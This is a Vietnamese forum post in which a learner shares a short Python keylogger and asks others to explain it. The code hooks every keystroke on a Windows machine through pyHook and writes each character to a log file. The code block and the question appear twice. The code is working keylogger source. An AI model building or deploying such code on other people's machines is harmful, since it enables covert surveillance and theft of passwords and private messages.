Bkis Hunter
Active Member
-
30/12/2017
-
3
-
43 bài viết
Hỏi về Keylogger
Em đang tìm hiều cách viết một con keylogger bằng python,sau đây là đoạn code mà em tham khảo được,dù đã tìm hiểu trên Google nhưng em vẫn chưa thực sự hiểu được code của con keylogger này, những chỗ ko hiểu em có đánh dấu "#" ở cuối dòng. Em mong mọi người có thể giải thích giúp em với ạ:
import pyHook, pythoncom, sys, logging
file_log='C:\\message.txt'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')#
chr(event.Ascii)#
logging.log(10,chr(event.Ascii))#
return True
hooks_manager=pyHook.HookManager()#
hooks_manager.KeyDown=onKeyboardEvent#
hooks_manager.HookKeyboard()#
pythoncom.PumpMessages()#
Em vẫn cứ thắc mắc ko hiểu sao ví dụ như mình viết"LovePython" thì nó hiện lên như thế này, mọi người giải thích giúp em với
import pyHook, pythoncom, sys, logging
file_log='C:\\message.txt'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')#
chr(event.Ascii)#
logging.log(10,chr(event.Ascii))#
return True
hooks_manager=pyHook.HookManager()#
hooks_manager.KeyDown=onKeyboardEvent#
hooks_manager.HookKeyboard()#
pythoncom.PumpMessages()#
Em vẫn cứ thắc mắc ko hiểu sao ví dụ như mình viết"LovePython" thì nó hiện lên như thế này, mọi người giải thích giúp em với